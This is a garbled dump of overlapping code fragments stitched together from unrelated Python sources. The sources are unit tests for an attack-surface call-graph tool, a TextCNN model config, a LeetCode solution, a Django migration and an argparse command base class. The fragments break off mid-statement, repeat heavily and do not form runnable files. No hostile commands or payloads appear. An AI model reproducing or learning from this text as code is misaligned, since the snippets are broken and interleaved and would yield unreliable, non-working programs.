"'after': next( i for (i, _) in target.nodes if i.function_name == 'GreeterSayHi' )",
"('h', 'i'), ('i', 'h') ]) expected = nx.DiGraph() expected.add_nodes_from(['a', 'b', 'c', 'd']) expected.add_edges_from([",
"Callee Attributes self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense' in callee_attrs) self.assertTrue('vulnerable' in callee_attrs)",
"= { 'before': next( i for (i, _) in _target.nodes if i.function_name ==",
"Environments.C) callee = Call('printf', '', Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source,",
"!= expected['after'] ] ) # Asserting if OTHER edges and their attributes got",
"for (i, _) in _target.nodes if i.function_name == 'GreeterSayHi' ), 'after': next( i",
"# Callee Attributes self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense' in callee_attrs) self.assertTrue('vulnerable' not",
"= 'cflow' caller = Call('main', 'main.c', Environments.C) callee = Call('chown', '', Environments.C) #",
"== expected['before'] or j == expected['before'] ], [ attrs for (i, j, attrs)",
"i == expected['after'] or j == expected['after'] ], ) # Asserting if OTHER",
"graph) def test_get_largest_fragment(self): # Arrange # a -- b e -- f --",
"self.assertTrue('vulnerable' in callee_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not",
"(caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, defenses, vulnerabilities ) # Assert #",
"if i == expected['before'] ], [ attrs for (i, attrs) in target.nodes if",
"'after': Call('GreeterSayHi', './src/helloworld.c', Environments.C) } # Act utilities.fix(target, using=reference) actual = { 'before':",
"]) expected = [None] * 4 expected[0] = nx.DiGraph() expected[0].add_nodes_from(['a', 'b', 'c', 'd'])",
"not in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not",
"not in callee_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not",
"for (i, attrs) in _target.nodes if i == expected['before'] ], [ attrs for",
"attrs) in _target.nodes if i == expected['before'] ], [ attrs for (i, attrs)",
"] caller = Call('main', 'main.c', Environments.C) callee = Call('validate', 'utils.c', Environments.C) # Act",
"caller = Call('main', 'main.c', Environments.C) callee = Call('printf', '', Environments.C) # Act (caller_attrs,",
"'utils.c', Environments.C) ] vulnerabilities = [ Call('main', 'main.c', Environments.C), Call('validate', 'utils.c', Environments.C) ]",
"their attributes got carried over self.assertCountEqual( [ (i, attrs) for (i, attrs) in",
"defense # + Designed defense and vulnerable # Arrange source = 'cflow' defenses",
"# Assert # Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' in caller_attrs) self.assertTrue('vulnerable'",
"not in caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' in",
"caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' in caller_attrs) self.assertTrue('entry'",
"from attacksurfacemeter.loaders.gprof_loader import GprofLoader class UtilitiesTestCase(unittest.TestCase): def test_fix(self): # Arrange target = CallGraph.from_loader(",
"self.assertEqual(len(expected), len(actual)) for i in range(4): self.assertCountEqual(expected[i].nodes(), actual[i].nodes()) self.assertCountEqual(expected[i].edges(), actual[i].edges()) def test_get_fragments_for_undirected(self): #",
"Call('validate', 'utils.c', Environments.C) ] caller = Call('main', 'main.c', Environments.C) callee = Call('validate', 'utils.c',",
"self.assertTrue('exit' not in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main* -- validate+ (cflow) #",
") graph.add_edges_from([ ('a', 'b'), ('b', 'a'), ('b', 'c'), ('c', 'b'), ('c', 'd'), ('d',",
"import Environments from attacksurfacemeter.loaders.cflow_loader import CflowLoader from attacksurfacemeter.loaders.gprof_loader import GprofLoader class UtilitiesTestCase(unittest.TestCase): def",
"utilities.fix(target, using=reference) actual = { 'before': next( i for (i, _) in _target.nodes",
"Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' in caller_attrs) self.assertTrue('dangerous'",
"Call('main', 'main.c', Environments.C), Call('validate', 'utils.c', Environments.C) ] vulnerabilities = [ Call('main', 'main.c', Environments.C),",
"self.assertTrue('exit' not in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main -- validate* (cflow) #",
"not in callee_attrs) self.assertTrue('defense' in callee_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' not in",
"in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not in",
"os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/cflow.callgraph.r.mod.txt' ), True ) ) _target = copy.deepcopy(target) reference = CallGraph.from_loader(",
"'GreeterSayHi' ) } # Assert self.assertEqual(expected['before'], actual['before']) self.assertEqual(expected['after'], actual['after']) # Asserting if node",
"copy import os import unittest import networkx as nx from attacksurfacemeter import utilities",
"actual[i].nodes()) self.assertCountEqual(expected[i].edges(), actual[i].edges()) def test_get_fragments_for_undirected(self): # Arrange # a -- b e --",
"caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) # Scenario: main -- printf (gprof) # Arrange",
"(i, attrs) in target.nodes if i == expected['after'] ] ) # Asserting if",
"if OTHER edges and their attributes got carried over self.assertCountEqual( [ (i, j,",
"self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main",
"[ (i, j, attrs) for (i, j, attrs) in target.edges if i !=",
"caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario:",
"('c', 'd'), ('d', 'a'), ('e', 'f'), ('f', 'g'), ('h', 'i') ]) # Assert",
"self.assertCountEqual(expected.nodes(), actual.nodes()) self.assertCountEqual(expected.edges(), actual.edges()) def test_get_node_attrs(self): # Scenario: main -- printf (cflow) #",
"reference = CallGraph.from_loader( GprofLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/gprof.callgraph.txt' ) ) ) expected = {",
"Environments.C) callee = None # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee,",
"edge attributes got carried over self.assertCountEqual( [ attrs for (i, j, attrs) in",
"(cflow) # * Vulnerable # + Designed defense and vulnerable # Arrange source",
"nx.DiGraph() graph.add_nodes_from( ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'] )",
"target = CallGraph.from_loader( CflowLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/cflow.callgraph.r.mod.txt' ), True ) ) _target =",
"Arrange # a -- b e -- f -- g # | |",
"Callee Attributes self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense' not in callee_attrs) self.assertTrue('vulnerable' in",
"in caller_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' in caller_attrs) self.assertTrue('entry' not in caller_attrs)",
"callee_attrs) = utilities.get_node_attrs( source, caller, callee, defenses, list() ) # Assert # Caller",
"('f', 'g'), ('g', 'f'), ('h', 'i'), ('i', 'h') ]) expected = [None] *",
"Environments.C) } # Act utilities.fix(target, using=reference) actual = { 'before': next( i for",
"Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, defenses, vulnerabilities )"
] |
[] |
[
"**kwargs, ): super().__init__( num_labels=num_labels, id2label=id2label, label2id=label2id, bos_token_id=bos_token_id, eos_token_id=eos_token_id, pad_token_id=pad_token_id, **kwargs, ) self.vocab_size =",
"eos_token_id=eos_token_id, pad_token_id=pad_token_id, **kwargs, ) self.vocab_size = vocab_size self.embed_dim = embed_dim self.filter_sizes = filter_sizes",
"num_labels=num_labels, id2label=id2label, label2id=label2id, bos_token_id=bos_token_id, eos_token_id=eos_token_id, pad_token_id=pad_token_id, **kwargs, ) self.vocab_size = vocab_size self.embed_dim =",
"self, vocab_size=30000, embed_dim=300, filter_sizes=[1,2,3,4,5], num_filters=[128]*5, dropout=0.5, num_labels=2, id2label={0:\"standard\", 1:\"dialect\"}, label2id={\"standard\":0, \"dialect\":1}, bos_token_id=0, eos_token_id=1,",
"filter_sizes=[1,2,3,4,5], num_filters=[128]*5, dropout=0.5, num_labels=2, id2label={0:\"standard\", 1:\"dialect\"}, label2id={\"standard\":0, \"dialect\":1}, bos_token_id=0, eos_token_id=1, pad_token_id=3, **kwargs, ):",
"transformers.configuration_utils import PretrainedConfig class TextCNNConfig(PretrainedConfig): def __init__( self, vocab_size=30000, embed_dim=300, filter_sizes=[1,2,3,4,5], num_filters=[128]*5, dropout=0.5,",
"num_filters=[128]*5, dropout=0.5, num_labels=2, id2label={0:\"standard\", 1:\"dialect\"}, label2id={\"standard\":0, \"dialect\":1}, bos_token_id=0, eos_token_id=1, pad_token_id=3, **kwargs, ): super().__init__(",
"label2id={\"standard\":0, \"dialect\":1}, bos_token_id=0, eos_token_id=1, pad_token_id=3, **kwargs, ): super().__init__( num_labels=num_labels, id2label=id2label, label2id=label2id, bos_token_id=bos_token_id, eos_token_id=eos_token_id,",
"import PretrainedConfig class TextCNNConfig(PretrainedConfig): def __init__( self, vocab_size=30000, embed_dim=300, filter_sizes=[1,2,3,4,5], num_filters=[128]*5, dropout=0.5, num_labels=2,",
") self.vocab_size = vocab_size self.embed_dim = embed_dim self.filter_sizes = filter_sizes self.num_filters = num_filters",
"num_labels=2, id2label={0:\"standard\", 1:\"dialect\"}, label2id={\"standard\":0, \"dialect\":1}, bos_token_id=0, eos_token_id=1, pad_token_id=3, **kwargs, ): super().__init__( num_labels=num_labels, id2label=id2label,",
"pad_token_id=pad_token_id, **kwargs, ) self.vocab_size = vocab_size self.embed_dim = embed_dim self.filter_sizes = filter_sizes self.num_filters",
"eos_token_id=1, pad_token_id=3, **kwargs, ): super().__init__( num_labels=num_labels, id2label=id2label, label2id=label2id, bos_token_id=bos_token_id, eos_token_id=eos_token_id, pad_token_id=pad_token_id, **kwargs, )",
"vocab_size self.embed_dim = embed_dim self.filter_sizes = filter_sizes self.num_filters = num_filters self.dropout = dropout",
"vocab_size=30000, embed_dim=300, filter_sizes=[1,2,3,4,5], num_filters=[128]*5, dropout=0.5, num_labels=2, id2label={0:\"standard\", 1:\"dialect\"}, label2id={\"standard\":0, \"dialect\":1}, bos_token_id=0, eos_token_id=1, pad_token_id=3,",
"class TextCNNConfig(PretrainedConfig): def __init__( self, vocab_size=30000, embed_dim=300, filter_sizes=[1,2,3,4,5], num_filters=[128]*5, dropout=0.5, num_labels=2, id2label={0:\"standard\", 1:\"dialect\"},",
"super().__init__( num_labels=num_labels, id2label=id2label, label2id=label2id, bos_token_id=bos_token_id, eos_token_id=eos_token_id, pad_token_id=pad_token_id, **kwargs, ) self.vocab_size = vocab_size self.embed_dim",
"pad_token_id=3, **kwargs, ): super().__init__( num_labels=num_labels, id2label=id2label, label2id=label2id, bos_token_id=bos_token_id, eos_token_id=eos_token_id, pad_token_id=pad_token_id, **kwargs, ) self.vocab_size",
"\"dialect\":1}, bos_token_id=0, eos_token_id=1, pad_token_id=3, **kwargs, ): super().__init__( num_labels=num_labels, id2label=id2label, label2id=label2id, bos_token_id=bos_token_id, eos_token_id=eos_token_id, pad_token_id=pad_token_id,",
"__init__( self, vocab_size=30000, embed_dim=300, filter_sizes=[1,2,3,4,5], num_filters=[128]*5, dropout=0.5, num_labels=2, id2label={0:\"standard\", 1:\"dialect\"}, label2id={\"standard\":0, \"dialect\":1}, bos_token_id=0,",
"label2id=label2id, bos_token_id=bos_token_id, eos_token_id=eos_token_id, pad_token_id=pad_token_id, **kwargs, ) self.vocab_size = vocab_size self.embed_dim = embed_dim self.filter_sizes",
"id2label=id2label, label2id=label2id, bos_token_id=bos_token_id, eos_token_id=eos_token_id, pad_token_id=pad_token_id, **kwargs, ) self.vocab_size = vocab_size self.embed_dim = embed_dim",
"PretrainedConfig class TextCNNConfig(PretrainedConfig): def __init__( self, vocab_size=30000, embed_dim=300, filter_sizes=[1,2,3,4,5], num_filters=[128]*5, dropout=0.5, num_labels=2, id2label={0:\"standard\",",
"bos_token_id=bos_token_id, eos_token_id=eos_token_id, pad_token_id=pad_token_id, **kwargs, ) self.vocab_size = vocab_size self.embed_dim = embed_dim self.filter_sizes =",
"dropout=0.5, num_labels=2, id2label={0:\"standard\", 1:\"dialect\"}, label2id={\"standard\":0, \"dialect\":1}, bos_token_id=0, eos_token_id=1, pad_token_id=3, **kwargs, ): super().__init__( num_labels=num_labels,",
"bos_token_id=0, eos_token_id=1, pad_token_id=3, **kwargs, ): super().__init__( num_labels=num_labels, id2label=id2label, label2id=label2id, bos_token_id=bos_token_id, eos_token_id=eos_token_id, pad_token_id=pad_token_id, **kwargs,",
"from transformers.configuration_utils import PretrainedConfig class TextCNNConfig(PretrainedConfig): def __init__( self, vocab_size=30000, embed_dim=300, filter_sizes=[1,2,3,4,5], num_filters=[128]*5,",
"embed_dim=300, filter_sizes=[1,2,3,4,5], num_filters=[128]*5, dropout=0.5, num_labels=2, id2label={0:\"standard\", 1:\"dialect\"}, label2id={\"standard\":0, \"dialect\":1}, bos_token_id=0, eos_token_id=1, pad_token_id=3, **kwargs,",
"TextCNNConfig(PretrainedConfig): def __init__( self, vocab_size=30000, embed_dim=300, filter_sizes=[1,2,3,4,5], num_filters=[128]*5, dropout=0.5, num_labels=2, id2label={0:\"standard\", 1:\"dialect\"}, label2id={\"standard\":0,",
"**kwargs, ) self.vocab_size = vocab_size self.embed_dim = embed_dim self.filter_sizes = filter_sizes self.num_filters =",
"self.vocab_size = vocab_size self.embed_dim = embed_dim self.filter_sizes = filter_sizes self.num_filters = num_filters self.dropout",
"id2label={0:\"standard\", 1:\"dialect\"}, label2id={\"standard\":0, \"dialect\":1}, bos_token_id=0, eos_token_id=1, pad_token_id=3, **kwargs, ): super().__init__( num_labels=num_labels, id2label=id2label, label2id=label2id,",
"1:\"dialect\"}, label2id={\"standard\":0, \"dialect\":1}, bos_token_id=0, eos_token_id=1, pad_token_id=3, **kwargs, ): super().__init__( num_labels=num_labels, id2label=id2label, label2id=label2id, bos_token_id=bos_token_id,",
"= vocab_size self.embed_dim = embed_dim self.filter_sizes = filter_sizes self.num_filters = num_filters self.dropout =",
"): super().__init__( num_labels=num_labels, id2label=id2label, label2id=label2id, bos_token_id=bos_token_id, eos_token_id=eos_token_id, pad_token_id=pad_token_id, **kwargs, ) self.vocab_size = vocab_size",
"def __init__( self, vocab_size=30000, embed_dim=300, filter_sizes=[1,2,3,4,5], num_filters=[128]*5, dropout=0.5, num_labels=2, id2label={0:\"standard\", 1:\"dialect\"}, label2id={\"standard\":0, \"dialect\":1},"
] |
[
"= a % 10 if not temp or theNum % temp: return False",
"theNum % temp: return False a = a // 10 return True def",
"return False a = a // 10 return True def selfDividingNumbers(self, left: int,",
"typing import List class Solution: def isValid(self, a): theNum = a while a",
"List[int]: ans = [] for i in range(left, right+1): if self.isValid(i): ans.append(i) return",
"a // 10 return True def selfDividingNumbers(self, left: int, right: int) -> List[int]:",
"-> List[int]: ans = [] for i in range(left, right+1): if self.isValid(i): ans.append(i)",
"def isValid(self, a): theNum = a while a > 0: temp = a",
"a % 10 if not temp or theNum % temp: return False a",
"or theNum % temp: return False a = a // 10 return True",
"<reponame>samkitsheth95/InterviewPrep from typing import List class Solution: def isValid(self, a): theNum = a",
"selfDividingNumbers(self, left: int, right: int) -> List[int]: ans = [] for i in",
"right: int) -> List[int]: ans = [] for i in range(left, right+1): if",
"% temp: return False a = a // 10 return True def selfDividingNumbers(self,",
"int) -> List[int]: ans = [] for i in range(left, right+1): if self.isValid(i):",
"import List class Solution: def isValid(self, a): theNum = a while a >",
"temp or theNum % temp: return False a = a // 10 return",
"10 return True def selfDividingNumbers(self, left: int, right: int) -> List[int]: ans =",
"return True def selfDividingNumbers(self, left: int, right: int) -> List[int]: ans = []",
"a): theNum = a while a > 0: temp = a % 10",
"a while a > 0: temp = a % 10 if not temp",
"while a > 0: temp = a % 10 if not temp or",
"temp = a % 10 if not temp or theNum % temp: return",
"False a = a // 10 return True def selfDividingNumbers(self, left: int, right:",
"> 0: temp = a % 10 if not temp or theNum %",
"left: int, right: int) -> List[int]: ans = [] for i in range(left,",
"True def selfDividingNumbers(self, left: int, right: int) -> List[int]: ans = [] for",
"i in range(left, right+1): if self.isValid(i): ans.append(i) return ans sol = Solution() print(sol.selfDividingNumbers(1,",
"theNum = a while a > 0: temp = a % 10 if",
"a = a // 10 return True def selfDividingNumbers(self, left: int, right: int)",
"0: temp = a % 10 if not temp or theNum % temp:",
"int, right: int) -> List[int]: ans = [] for i in range(left, right+1):",
"List class Solution: def isValid(self, a): theNum = a while a > 0:",
"= [] for i in range(left, right+1): if self.isValid(i): ans.append(i) return ans sol",
"from typing import List class Solution: def isValid(self, a): theNum = a while",
"Solution: def isValid(self, a): theNum = a while a > 0: temp =",
"[] for i in range(left, right+1): if self.isValid(i): ans.append(i) return ans sol =",
"ans = [] for i in range(left, right+1): if self.isValid(i): ans.append(i) return ans",
"= a // 10 return True def selfDividingNumbers(self, left: int, right: int) ->",
"if not temp or theNum % temp: return False a = a //",
"class Solution: def isValid(self, a): theNum = a while a > 0: temp",
"// 10 return True def selfDividingNumbers(self, left: int, right: int) -> List[int]: ans",
"isValid(self, a): theNum = a while a > 0: temp = a %",
"temp: return False a = a // 10 return True def selfDividingNumbers(self, left:",
"for i in range(left, right+1): if self.isValid(i): ans.append(i) return ans sol = Solution()",
"10 if not temp or theNum % temp: return False a = a",
"def selfDividingNumbers(self, left: int, right: int) -> List[int]: ans = [] for i",
"in range(left, right+1): if self.isValid(i): ans.append(i) return ans sol = Solution() print(sol.selfDividingNumbers(1, 22))",
"% 10 if not temp or theNum % temp: return False a =",
"= a while a > 0: temp = a % 10 if not",
"a > 0: temp = a % 10 if not temp or theNum",
"not temp or theNum % temp: return False a = a // 10"
] |
[
"by Django 2.2.17 on 2021-03-05 09:56 from django.db import migrations import tinymce.models class",
"2.2.17 on 2021-03-05 09:56 from django.db import migrations import tinymce.models class Migration(migrations.Migration): dependencies",
"from django.db import migrations import tinymce.models class Migration(migrations.Migration): dependencies = [ ('goods', '0001_initial'),",
"Migration(migrations.Migration): dependencies = [ ('goods', '0001_initial'), ] operations = [ migrations.AlterModelOptions( name='goodstest', options={'verbose_name':",
"('goods', '0001_initial'), ] operations = [ migrations.AlterModelOptions( name='goodstest', options={'verbose_name': '商品', 'verbose_name_plural': '商品'}, ),",
"django.db import migrations import tinymce.models class Migration(migrations.Migration): dependencies = [ ('goods', '0001_initial'), ]",
"2021-03-05 09:56 from django.db import migrations import tinymce.models class Migration(migrations.Migration): dependencies = [",
"on 2021-03-05 09:56 from django.db import migrations import tinymce.models class Migration(migrations.Migration): dependencies =",
"tinymce.models class Migration(migrations.Migration): dependencies = [ ('goods', '0001_initial'), ] operations = [ migrations.AlterModelOptions(",
"[ migrations.AlterModelOptions( name='goodstest', options={'verbose_name': '商品', 'verbose_name_plural': '商品'}, ), migrations.AlterField( model_name='goodstest', name='detail', field=tinymce.models.HTMLField(verbose_name='商品详情'), ),",
"dependencies = [ ('goods', '0001_initial'), ] operations = [ migrations.AlterModelOptions( name='goodstest', options={'verbose_name': '商品',",
"migrations.AlterModelOptions( name='goodstest', options={'verbose_name': '商品', 'verbose_name_plural': '商品'}, ), migrations.AlterField( model_name='goodstest', name='detail', field=tinymce.models.HTMLField(verbose_name='商品详情'), ), ]",
"# Generated by Django 2.2.17 on 2021-03-05 09:56 from django.db import migrations import",
"class Migration(migrations.Migration): dependencies = [ ('goods', '0001_initial'), ] operations = [ migrations.AlterModelOptions( name='goodstest',",
"operations = [ migrations.AlterModelOptions( name='goodstest', options={'verbose_name': '商品', 'verbose_name_plural': '商品'}, ), migrations.AlterField( model_name='goodstest', name='detail',",
"Django 2.2.17 on 2021-03-05 09:56 from django.db import migrations import tinymce.models class Migration(migrations.Migration):",
"= [ migrations.AlterModelOptions( name='goodstest', options={'verbose_name': '商品', 'verbose_name_plural': '商品'}, ), migrations.AlterField( model_name='goodstest', name='detail', field=tinymce.models.HTMLField(verbose_name='商品详情'),",
"] operations = [ migrations.AlterModelOptions( name='goodstest', options={'verbose_name': '商品', 'verbose_name_plural': '商品'}, ), migrations.AlterField( model_name='goodstest',",
"import migrations import tinymce.models class Migration(migrations.Migration): dependencies = [ ('goods', '0001_initial'), ] operations",
"migrations import tinymce.models class Migration(migrations.Migration): dependencies = [ ('goods', '0001_initial'), ] operations =",
"import tinymce.models class Migration(migrations.Migration): dependencies = [ ('goods', '0001_initial'), ] operations = [",
"'0001_initial'), ] operations = [ migrations.AlterModelOptions( name='goodstest', options={'verbose_name': '商品', 'verbose_name_plural': '商品'}, ), migrations.AlterField(",
"Generated by Django 2.2.17 on 2021-03-05 09:56 from django.db import migrations import tinymce.models",
"09:56 from django.db import migrations import tinymce.models class Migration(migrations.Migration): dependencies = [ ('goods',",
"= [ ('goods', '0001_initial'), ] operations = [ migrations.AlterModelOptions( name='goodstest', options={'verbose_name': '商品', 'verbose_name_plural':",
"[ ('goods', '0001_initial'), ] operations = [ migrations.AlterModelOptions( name='goodstest', options={'verbose_name': '商品', 'verbose_name_plural': '商品'},"
] |
[
"help=\"The ODB2 filename.\") @abstractmethod def command(self, args): \"\"\"The underlying function that is called",
"ODB2 filename.\") @abstractmethod def command(self, args): \"\"\"The underlying function that is called when",
"add_arguments(self): \"\"\"Add the arguments specific to this command.\"\"\" self.parser.add_argument(\"filename\", help=\"The ODB2 filename.\") @abstractmethod",
"description(self): \"\"\"The description to print before help text.\"\"\" return \"\" @abstractmethod def add_arguments(self):",
"for abstract Command class to support argument parsing.\"\"\" from abc import ABC, abstractmethod",
"def __init__(self, subparsers): self.subparsers = subparsers self.parser = subparsers.add_parser( self.name, description=self.description, formatter_class=RawTextHelpFormatter )",
") self.add_arguments() self.parser.set_defaults(command=self.command) @property def name(self): \"\"\"The name of this command.\"\"\" return self.__class__.__name__.replace(\"Command\",",
"help_text = None def __init__(self, subparsers): self.subparsers = subparsers self.parser = subparsers.add_parser( self.name,",
"self.subparsers = subparsers self.parser = subparsers.add_parser( self.name, description=self.description, formatter_class=RawTextHelpFormatter ) self.add_arguments() self.parser.set_defaults(command=self.command) @property",
"self.parser = subparsers.add_parser( self.name, description=self.description, formatter_class=RawTextHelpFormatter ) self.add_arguments() self.parser.set_defaults(command=self.command) @property def name(self): \"\"\"The",
"to this command.\"\"\" self.parser.add_argument(\"filename\", help=\"The ODB2 filename.\") @abstractmethod def command(self, args): \"\"\"The underlying",
"from argparse import RawTextHelpFormatter class Command(ABC): \"\"\"Abstract class that defines a command for",
"\"\"\"Add the arguments specific to this command.\"\"\" self.parser.add_argument(\"filename\", help=\"The ODB2 filename.\") @abstractmethod def",
"to print before help text.\"\"\" return \"\" @abstractmethod def add_arguments(self): \"\"\"Add the arguments",
"class that defines a command for argument parsing.\"\"\" help_text = None def __init__(self,",
"parsing.\"\"\" from abc import ABC, abstractmethod from argparse import RawTextHelpFormatter class Command(ABC): \"\"\"Abstract",
"the arguments specific to this command.\"\"\" self.parser.add_argument(\"filename\", help=\"The ODB2 filename.\") @abstractmethod def command(self,",
"Command class to support argument parsing.\"\"\" from abc import ABC, abstractmethod from argparse",
"argparse import RawTextHelpFormatter class Command(ABC): \"\"\"Abstract class that defines a command for argument",
"def name(self): \"\"\"The name of this command.\"\"\" return self.__class__.__name__.replace(\"Command\", \"\").lower() @property def description(self):",
"\"\"\"The description to print before help text.\"\"\" return \"\" @abstractmethod def add_arguments(self): \"\"\"Add",
"description=self.description, formatter_class=RawTextHelpFormatter ) self.add_arguments() self.parser.set_defaults(command=self.command) @property def name(self): \"\"\"The name of this command.\"\"\"",
"= subparsers.add_parser( self.name, description=self.description, formatter_class=RawTextHelpFormatter ) self.add_arguments() self.parser.set_defaults(command=self.command) @property def name(self): \"\"\"The name",
"self.add_arguments() self.parser.set_defaults(command=self.command) @property def name(self): \"\"\"The name of this command.\"\"\" return self.__class__.__name__.replace(\"Command\", \"\").lower()",
"to support argument parsing.\"\"\" from abc import ABC, abstractmethod from argparse import RawTextHelpFormatter",
"abstractmethod from argparse import RawTextHelpFormatter class Command(ABC): \"\"\"Abstract class that defines a command",
"help text.\"\"\" return \"\" @abstractmethod def add_arguments(self): \"\"\"Add the arguments specific to this",
"formatter_class=RawTextHelpFormatter ) self.add_arguments() self.parser.set_defaults(command=self.command) @property def name(self): \"\"\"The name of this command.\"\"\" return",
"text.\"\"\" return \"\" @abstractmethod def add_arguments(self): \"\"\"Add the arguments specific to this command.\"\"\"",
"parsing.\"\"\" help_text = None def __init__(self, subparsers): self.subparsers = subparsers self.parser = subparsers.add_parser(",
"specific to this command.\"\"\" self.parser.add_argument(\"filename\", help=\"The ODB2 filename.\") @abstractmethod def command(self, args): \"\"\"The",
"__init__(self, subparsers): self.subparsers = subparsers self.parser = subparsers.add_parser( self.name, description=self.description, formatter_class=RawTextHelpFormatter ) self.add_arguments()",
"self.__class__.__name__.replace(\"Command\", \"\").lower() @property def description(self): \"\"\"The description to print before help text.\"\"\" return",
"def add_arguments(self): \"\"\"Add the arguments specific to this command.\"\"\" self.parser.add_argument(\"filename\", help=\"The ODB2 filename.\")",
"description to print before help text.\"\"\" return \"\" @abstractmethod def add_arguments(self): \"\"\"Add the",
"name of this command.\"\"\" return self.__class__.__name__.replace(\"Command\", \"\").lower() @property def description(self): \"\"\"The description to",
"filename.\") @abstractmethod def command(self, args): \"\"\"The underlying function that is called when a",
"\"\" @abstractmethod def add_arguments(self): \"\"\"Add the arguments specific to this command.\"\"\" self.parser.add_argument(\"filename\", help=\"The",
"defines a command for argument parsing.\"\"\" help_text = None def __init__(self, subparsers): self.subparsers",
"for argument parsing.\"\"\" help_text = None def __init__(self, subparsers): self.subparsers = subparsers self.parser",
"\"\").lower() @property def description(self): \"\"\"The description to print before help text.\"\"\" return \"\"",
"this command.\"\"\" self.parser.add_argument(\"filename\", help=\"The ODB2 filename.\") @abstractmethod def command(self, args): \"\"\"The underlying function",
"self.parser.add_argument(\"filename\", help=\"The ODB2 filename.\") @abstractmethod def command(self, args): \"\"\"The underlying function that is",
"argument parsing.\"\"\" help_text = None def __init__(self, subparsers): self.subparsers = subparsers self.parser =",
"ABC, abstractmethod from argparse import RawTextHelpFormatter class Command(ABC): \"\"\"Abstract class that defines a",
"command.\"\"\" return self.__class__.__name__.replace(\"Command\", \"\").lower() @property def description(self): \"\"\"The description to print before help",
"abc import ABC, abstractmethod from argparse import RawTextHelpFormatter class Command(ABC): \"\"\"Abstract class that",
"a command for argument parsing.\"\"\" help_text = None def __init__(self, subparsers): self.subparsers =",
"@property def description(self): \"\"\"The description to print before help text.\"\"\" return \"\" @abstractmethod",
"@property def name(self): \"\"\"The name of this command.\"\"\" return self.__class__.__name__.replace(\"Command\", \"\").lower() @property def",
"arguments specific to this command.\"\"\" self.parser.add_argument(\"filename\", help=\"The ODB2 filename.\") @abstractmethod def command(self, args):",
"name(self): \"\"\"The name of this command.\"\"\" return self.__class__.__name__.replace(\"Command\", \"\").lower() @property def description(self): \"\"\"The",
"= None def __init__(self, subparsers): self.subparsers = subparsers self.parser = subparsers.add_parser( self.name, description=self.description,",
"@abstractmethod def command(self, args): \"\"\"The underlying function that is called when a command",
"this command.\"\"\" return self.__class__.__name__.replace(\"Command\", \"\").lower() @property def description(self): \"\"\"The description to print before",
"\"\"\"Module for abstract Command class to support argument parsing.\"\"\" from abc import ABC,",
"def command(self, args): \"\"\"The underlying function that is called when a command is",
"from abc import ABC, abstractmethod from argparse import RawTextHelpFormatter class Command(ABC): \"\"\"Abstract class",
"self.name, description=self.description, formatter_class=RawTextHelpFormatter ) self.add_arguments() self.parser.set_defaults(command=self.command) @property def name(self): \"\"\"The name of this",
"command(self, args): \"\"\"The underlying function that is called when a command is selected.\"\"\"",
"RawTextHelpFormatter class Command(ABC): \"\"\"Abstract class that defines a command for argument parsing.\"\"\" help_text",
"return \"\" @abstractmethod def add_arguments(self): \"\"\"Add the arguments specific to this command.\"\"\" self.parser.add_argument(\"filename\",",
"= subparsers self.parser = subparsers.add_parser( self.name, description=self.description, formatter_class=RawTextHelpFormatter ) self.add_arguments() self.parser.set_defaults(command=self.command) @property def",
"abstract Command class to support argument parsing.\"\"\" from abc import ABC, abstractmethod from",
"class to support argument parsing.\"\"\" from abc import ABC, abstractmethod from argparse import",
"import RawTextHelpFormatter class Command(ABC): \"\"\"Abstract class that defines a command for argument parsing.\"\"\"",
"that defines a command for argument parsing.\"\"\" help_text = None def __init__(self, subparsers):",
"of this command.\"\"\" return self.__class__.__name__.replace(\"Command\", \"\").lower() @property def description(self): \"\"\"The description to print",
"\"\"\"The name of this command.\"\"\" return self.__class__.__name__.replace(\"Command\", \"\").lower() @property def description(self): \"\"\"The description",
"None def __init__(self, subparsers): self.subparsers = subparsers self.parser = subparsers.add_parser( self.name, description=self.description, formatter_class=RawTextHelpFormatter",
"argument parsing.\"\"\" from abc import ABC, abstractmethod from argparse import RawTextHelpFormatter class Command(ABC):",
"print before help text.\"\"\" return \"\" @abstractmethod def add_arguments(self): \"\"\"Add the arguments specific",
"subparsers.add_parser( self.name, description=self.description, formatter_class=RawTextHelpFormatter ) self.add_arguments() self.parser.set_defaults(command=self.command) @property def name(self): \"\"\"The name of",
"def description(self): \"\"\"The description to print before help text.\"\"\" return \"\" @abstractmethod def",
